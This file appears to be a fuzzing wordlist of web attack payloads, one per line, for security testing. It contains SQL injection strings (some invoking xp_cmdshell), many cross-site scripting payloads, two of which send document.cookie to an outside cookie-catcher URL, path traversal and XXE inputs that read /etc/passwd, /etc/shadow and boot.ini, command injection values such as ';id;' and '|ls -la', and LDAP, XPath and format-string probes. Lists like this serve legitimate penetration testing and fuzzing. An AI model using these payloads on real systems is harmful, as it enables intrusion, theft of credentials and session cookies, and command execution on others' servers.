00
0
0 or 1=1
0xfffffff
1
1.0
1;SELECT%20*
2
65536
268435455
2147483647
!
!'
!@#0%^#0##018387@#0^^**(()
!@#$%%^#$%#$@#$%$$@#$%^^**(()
"
"' or 1 --'"
") or ("a"="a
"><script>"
"><script>document.location='http://your.site.com/cgi-bin/cookie.cgi?'+document.cookie</script>
">xxx<P>yyy
"\t"
" or 0=0 #
" or 0=0 --
" or 1=1 or ""="
" or 1=1--
" or "a"="a
" or "x"="x
#
#
#&apos;
#'
#xA
#xA#xD
#xD
#xD#xA
$NULL
$null
%
%00
%00
%00
%00../../../../../../etc/passwd
%00../../../../../../etc/shadow
%00/
%00/etc/passwd%00
%00/etc/shadow%00
%0a
%0a/bin/cat%20/etc/passwd
%0a/bin/cat%20/etc/shadow
%0d%0aX-Injection-Header:%20AttackValue
%01%02%03%04%0a%0d%0aADSF
%01%02%03%04%0a%0d%0aADSF
%2A
%2A%7C
%2A%28%7C%28mail%3D%2A%29%29
%2A%28%7C%28objectclass%3D%2A%29%29
%2C
%2e%2e%2f
%3C
%3C%3F
%3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E
%3cscript%3ealert("XSS");%3c/script%3e
%3cscript%3ealert(document.cookie);%3c%2fscript%3e
%5C
%5C/
%7C
%7C
%20
%20$(sleep%2050)
%20'sleep%2050'
%20|
%21
%22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%	25%5c..%25%5c..%00
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%		25%5c..%25%5c..%255cboot.ini
%26
%27%20or%201=1
%28
%29
%60
%250a
%2500
&
&#10;
&#10;&#13;
&#13;
&#13;&#10;
&#0000060
&#0000060;
&#000060
&#000060;
&#00060
&#00060;
&#0060
&#0060;
&#060
&#060;
&#60
&#60;
&#X000003C
&#X000003C;
&#X000003c
&#X000003c;
&#X00003C
&#X00003C;
&#X00003c
&#X00003c;
&#X0003C
&#X0003C;
&#X0003c
&#X0003c;
&#X003C
&#X003C;
&#X003c
&#X003c;
&#X03C
&#X03C;
&#X03c
&#X03c;
&#X3C
&#X3C;
&#X3c
&#X3c;
&#x000003C
&#x000003C;
&#x000003c
&#x000003c;
&#x00003C
&#x00003C;
&#x00003c
&#x00003c;
&#x0003C
&#x0003C;
&#x0003c
&#x0003c;
&#x003C
&#x003C;
&#x003c
&#x003c;
&#x03C
&#x03C;
&#x03c
&#x03c;
&#x3C
&#x3C;
&#x3c
&#x3c;
&LT
&LT;
&apos;
&apos;%20OR
&lt
&lt;
&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/passwd&quot;--&gt;
&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/shadow&quot;--&gt;
&lt;&gt;&quot;'%;)(&amp;+
&ltscript&gtalert(document.cookie);&ltscript&gtalert
&ltscript&gtalert(document.cookie);</script>
&quot;;id&quot;
'
'%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E
'%20or%201=1
'';!--"<XSS>=&{()}
' (select top 1
') or ('a'='a
') or ('x'='x
' --
' ;
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
'; exec master..xp_cmdshell
'; exec xp_regread
'><script>alert(document.cookie);</script>
'><script>alert(document.cookie)</script>
' UNION ALL SELECT
' UNION SELECT
'hi' or 'x'='x';
' or 0=0 #
' or 0=0 --
' or 1=1 or ''='
' or 1=1 or ''='
' or 1=1--
' or '1'='1'--
' or ''='
' or ''='
' or 'x'='x
' or (EXISTS)
' or a=a--
'or select *
' or uid like '%
' or uname like '%
' or userid like '%
' or user like '%
' or username like '%
'sqlattempt1
'||UTL_HTTP.REQUEST
(
(')
(sqlattempt2)
)
*
*&apos;
*'
*(|(mail=*))
*(|(objectclass=*))
*/*
*|
*|
+%00
,@variable
-
-
-1
-1.0
-2
-20
-268435455
--
--
--';
--sp_password
..%5c
..%25%35%63
..%255c
..%%35%63
..%%35c
..%bg%qf
..%c0%af
..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini
..%u2215
..%u2216
../
../../../../../../../../../../../../boot.ini
../../../../../../../../../../../../boot.ini%00
../../../../../../../../../../../../etc/hosts
../../../../../../../../../../../../etc/hosts%00
../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../etc/shadow
../../../../../../../../../../../../etc/shadow%00
../../../../../../../../../../../../localstart.asp
../../../../../../../../../../../../localstart.asp%00
../../../../../../../../conf/server.xml
../../boot.ini
..\
..\..\..\..\..\..\..\..\..\..\boot.ini
..\..\..\..\..\..\..\..\..\..\boot.ini%00
..\..\..\..\..\..\..\..\..\..\etc\passwd
..\..\..\..\..\..\..\..\..\..\etc\passwd%00
..\..\..\..\..\..\..\..\..\..\etc\shadow
..\..\..\..\..\..\..\..\..\..\etc\shadow%00
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/shadow
/
/
/%00/
/%2A
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini
/&apos;
/'
/,%ENV,/
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow
/.../.../.../.../.../
/../../../../../../../../%2A
/../../../../../../../../../../../boot.ini
/../../../../../../../../../../../boot.ini%00
/../../../../../../../../../../../boot.ini%00.html
/../../../../../../../../../../../boot.ini%00.jpg
/../../../../../../../../../../../etc/passwd%00.html
/../../../../../../../../../../../etc/passwd%00.jpg
/../../../../../../../../../../etc/passwd
/../../../../../../../../../../etc/passwd^^
/../../../../../../../../../../etc/shadow
/../../../../../../../../../../etc/shadow^^
/../../../../../../../../bin/id|
/..\../..\../..\../..\../..\../..\../boot.ini
/..\../..\../..\../..\../..\../..\../etc/passwd
/..\../..\../..\../..\../..\../..\../etc/shadow
/./././././././././././boot.ini
/./././././././././././etc/passwd
/./././././././././././etc/shadow
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
//
//*
/boot.ini
/etc/passwd
/etc/shadow
/index.html|id|
;
;dir
;id;
;ls -la
;netstat -a;
;read;
<
<![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]>
<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
<<
<<<
<<script>alert("XSS");//<</script>
<>"'%;)(&+
<?
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////dev/random">]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////etc/passwd">]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////etc/shadow">]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foo>
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
<HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"><xss:xss>XSS</xss:xss></HTML>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'>
<IMG%20SRC='javascript:alert(document.cookie)'>
<IMG%20SRC='javasc	ript:alert(document.cookie)'>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<IMG SRC=" &#14;  javascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="javascript:alert('XSS')"
<IMG SRC="javascript:alert('XSS');">
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=`javascript:alert("'XSS'")`>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<name>','')); phpinfo(); exit;/*</name>
<  script > < / script>
<script>alert("XSS")</script>
<script>alert(document.cookie)</script>
<xml ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('XSS')"&gt;</B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<xml ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
<xml SRC="xsstest.xml" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<xss><script>alert('XSS')</script></vulnerable>
= '
= --
= ;
?x=
?x="
?x=>
?x=|
@&apos;
@'
@*
@variable
A
ABCD|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|
C:/boot.ini
C:/inetpub/wwwroot/global.asa
C:\boot.ini
C:\inetpub\wwwroot\global.asa
FALSE
NULL
PRINT
PRINT @@variable
TRUE
[&apos;]
[']
\
\00
\00
\00\00
\00\00\00
\0
\0
\0\0
\0\0\0
\";alert('XSS');//
\"blah
\&apos;
\'
\..\..\..\..\..\..\..\..\..\..\boot.ini
\..\..\..\..\..\..\..\..\..\..\etc\passwd
\..\..\..\..\..\..\..\..\..\..\etc\passwd%00
\..\..\..\..\..\..\..\..\..\..\etc\shadow
\..\..\..\..\..\..\..\..\..\..\etc\shadow%00
\\
\\&apos;/bin/cat%20/etc/passwd\\&apos;
\\&apos;/bin/cat%20/etc/shadow\\&apos;
\\/
\\\\*
\\\\?\\
\n/bin/ls -al\n
\nnetstat -a%\n
\t
\u003C
\u003c
\x3C
\x3D \x3B'
\x3D \x27
\x3c
\x23
\x27
\x27UNION SELECT
\x27\x4F\x52 SELECT *
\x27\x6F\x72 SELECT *
^&apos;
^'
`
`dir`
`id`
admin'--
as
asc
bfilename
char%4039%41%2b%40SELECT
count(/child::node())
delete
desc
distinct
exec sp
exec xp
handler
having
hi") or ("a"="a
hi" or 1=1 --
hi" or "a"="a
hi') or ('a'='a
hi' or 1=1 --
hi' or 'a'='a
id%00
id%00|
insert
like
limit
null
or
or 0=0 #
or 0=0 --
or 1=1--
or%201=1
or%201=1 --
order by
procedure
replace
select
something%00html
t'exec master..xp_cmdshell 'nslookup www.google.com'--
to_timestamp_tz
truncate
tz_offset
update
x' or 1=1 or 'x'='y
x' or name()='username' or 'x'='y
{&apos;}
{'}
|
|
|/bin/ls -al
|dir
|dir|
|id
|id|
|ls
|ls -la
||
}